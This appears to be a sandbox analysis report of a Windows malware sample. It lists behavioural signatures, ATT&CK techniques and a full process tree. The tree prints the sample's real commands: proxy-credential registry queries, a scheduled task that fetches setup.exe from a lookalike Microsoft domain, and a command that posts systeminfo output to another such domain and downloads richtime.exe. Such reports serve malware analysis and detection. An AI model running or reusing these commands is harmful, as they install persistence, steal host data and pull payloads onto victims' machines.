e473bd432338fff22a59d31932318ac2e4914e6c786ae82871ce73cce863a269

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 09:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe
Size 877KB
Sample261001-lxpt2avcnd
SHA256 e473bd432338fff22a59d31932318ac2e4914e6c786ae82871ce73cce863a269
MD5 94aab46ba081087b9cd98679761fd176
SHA1 6cc3f1ada26f05c7a6ad579ed005d05f7a499ce2
SHA512 a7c5f7375ef0871e402c47685db128b7489abad7cfa73d3716d46f2790f7752a74ec68a290dbe1250ec9fe02cc2039f23e57fe81b4e537bfb4d54c41857beeaa
SSDEEP 12288:CpRN/nV+NnNmNrks/EysKvqjigldJuFjBqg9DmTBs34Ixovu:CpT/nV+NNQrkKK7zg9qgQIGu
TLSH
T1E315C0C7F45281ACFC672DB24D3D6D841BA07E7BA34028AB514F36062EF349255BB91B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence upx

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
2684	ie_cash.exe
3548	MicrosoftCreate.exe
5036	MicrosoftCreate.exe
4692	MicrosoftCreate.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c58d-13.dat	upx
behavioral2/memory/2684-15-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/2684-16-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/3548-18-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/5036-20-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/5036-22-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4692-24-0x0000000000400000-0x00000000004EF000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2816	cmd.exe
3068	cmd.exe
4192	cmd.exe
2956	cmd.exe
244	cmd.exe
628	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftCreate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ie_cash.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3144	PING.EXE
2824	PING.EXE
3252	PING.EXE
4692	MicrosoftCreate.exe
3836	PING.EXE
2544	PING.EXE
3548	MicrosoftCreate.exe
3944	PING.EXE
3584	PING.EXE
5036	MicrosoftCreate.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3548	MicrosoftCreate.exe
5036	MicrosoftCreate.exe
4692	MicrosoftCreate.exe

Delays execution with timeout.exe 10 IoCs

defense_evasion

pid	Process
3208	timeout.exe
2420	timeout.exe
2976	timeout.exe
760	timeout.exe
6020	timeout.exe
2388	timeout.exe
2116	timeout.exe
4384	timeout.exe
1208	timeout.exe
5768	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2380	systeminfo.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1088	taskkill.exe
2568	taskkill.exe
5596	taskkill.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
2544	PING.EXE
2824	PING.EXE
3944	PING.EXE
3584	PING.EXE
3252	PING.EXE
3144	PING.EXE
3836	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3776	schtasks.exe
1092	schtasks.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1088	taskkill.exe
Token: SeDebugPrivilege	2568	taskkill.exe
Token: SeDebugPrivilege	5596	taskkill.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 5380 wrote to memory of 2816	5380	2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe	88
PID 2816 wrote to memory of 4596	2816	cmd.exe	90
PID 2816 wrote to memory of 3068	2816	cmd.exe	91
PID 3068 wrote to memory of 4060	3068	cmd.exe	92
PID 3068 wrote to memory of 5796	3068	cmd.exe	93
PID 2816 wrote to memory of 4192	2816	cmd.exe	94
PID 4192 wrote to memory of 2644	4192	cmd.exe	95
PID 4192 wrote to memory of 1204	4192	cmd.exe	96
PID 2816 wrote to memory of 2956	2816	cmd.exe	97
PID 2956 wrote to memory of 5360	2956	cmd.exe	98
PID 2956 wrote to memory of 4404	2956	cmd.exe	99
PID 2816 wrote to memory of 244	2816	cmd.exe	100
PID 2816 wrote to memory of 628	2816	cmd.exe	101
PID 2816 wrote to memory of 2380	2816	cmd.exe	102
PID 2816 wrote to memory of 3776	2816	cmd.exe	105
PID 2816 wrote to memory of 1092	2816	cmd.exe	106
PID 2816 wrote to memory of 2824	2816	cmd.exe	107
PID 2816 wrote to memory of 5768	2816	cmd.exe	111
PID 2816 wrote to memory of 1088	2816	cmd.exe	113
PID 2816 wrote to memory of 3548	2816	cmd.exe	114
PID 2816 wrote to memory of 6020	2816	cmd.exe	115
PID 2816 wrote to memory of 3208	2816	cmd.exe	116
PID 2816 wrote to memory of 3944	2816	cmd.exe	117
PID 2816 wrote to memory of 3584	2816	cmd.exe	118
PID 2816 wrote to memory of 2388	2816	cmd.exe	119
PID 2816 wrote to memory of 2568	2816	cmd.exe	120
PID 2816 wrote to memory of 5036	2816	cmd.exe	121
PID 2816 wrote to memory of 2116	2816	cmd.exe	122
PID 2816 wrote to memory of 2420	2816	cmd.exe	123
PID 2816 wrote to memory of 3252	2816	cmd.exe	124
PID 2816 wrote to memory of 3144	2816	cmd.exe	125
PID 2816 wrote to memory of 2976	2816	cmd.exe	126
PID 2816 wrote to memory of 5596	2816	cmd.exe	127
PID 2816 wrote to memory of 4692	2816	cmd.exe	128
PID 2816 wrote to memory of 760	2816	cmd.exe	129
PID 2816 wrote to memory of 4384	2816	cmd.exe	130
PID 2816 wrote to memory of 3836	2816	cmd.exe	131
PID 2816 wrote to memory of 2544	2816	cmd.exe	132
PID 2816 wrote to memory of 1208	2816	cmd.exe	133

C:\Users\Admin\AppData\Local\Temp\2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_94aab46ba081087b9cd98679761fd176_coinminer_elex_wannacry.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5380
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\14779.cmd" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\SysWOW64\chcp.com
    chcp 1251
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4060
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyServer"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4192
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2644
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyUser"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5360
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyPass"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vol c:
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vol c:
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:628
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers system information
    PID:2380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Create /SC MINUTE /MO 30 /F /tn ie_cash_16DB408B_01 /tr "C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe -b -c -t 5 'http://microsoft-bits.site/CZIEFEEQ_16DB408B/setup.exe' -P 'C:\Users\Admin'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Create /SC MINUTE /MO 32 /F /tn ie_cash_16DB408B_02 /tr "C:\Users\Admin\setup.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1092
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 5 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2824
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 31
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5768
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:3548
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 4
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:6020
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 27
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3208
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3944
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 5 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3584
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 19
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2388
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:5036
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 4
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2116
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 13
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2420
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3252
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 5 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3144
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 9
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2976
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5596
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --post-data="versiya=arm_28.02&comp=CZIEFEEQ&id=CZIEFEEQ_16DB408B&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\CZIEFEEQ+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.22+###[02]: fe80::a228:e8d9:eb63:9889+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:4692
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 4
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:760
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 9
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4384
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3836
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 5 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2544
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 7
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1208

C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

14779.cmd

Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\14779.cmd
Size 5KB
SHA256 385ac035a8ede01373e248291ccea5dd588170acfa0adbe13ae74c14c123499e
MD5 1e7f525aa85f23a37797ce4b988b14ce
SHA1 096e6e5c5dbcba17bd5b966a3b74ddc3185c7b1a
SHA512 be06de7d7ca843261c3a7ea5dd38a6f83301cbdead6dec0e9b2eb12c1754e4f2aceeeed231278b6ed8ce1e8e50fe9735f55af4389a7016980134a2450cfb79b1
SSDEEP 96://TxFNA4yVnN5Z4OzONix9nLku2L2og5Mqq:3hyd2hynLT2L2ogyl
TLSH
T1B7B1F20CB552E034D7A2516321513641F988D9276B71EAF8FBB0BB85569E3C3F1F228A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MicrosoftCreate.exe

Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
Size 392KB
SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
MD5 bd126a7b59d5d1f97ba89a3e71425731
SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
TLSH
T1518423487A2AD85DCE83CEBB1A65773C663C6010C9E985EE35DCDF483E7A125360389D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2684-15-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/2684-16-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/3548-18-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4692-24-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/5036-20-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/5036-22-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads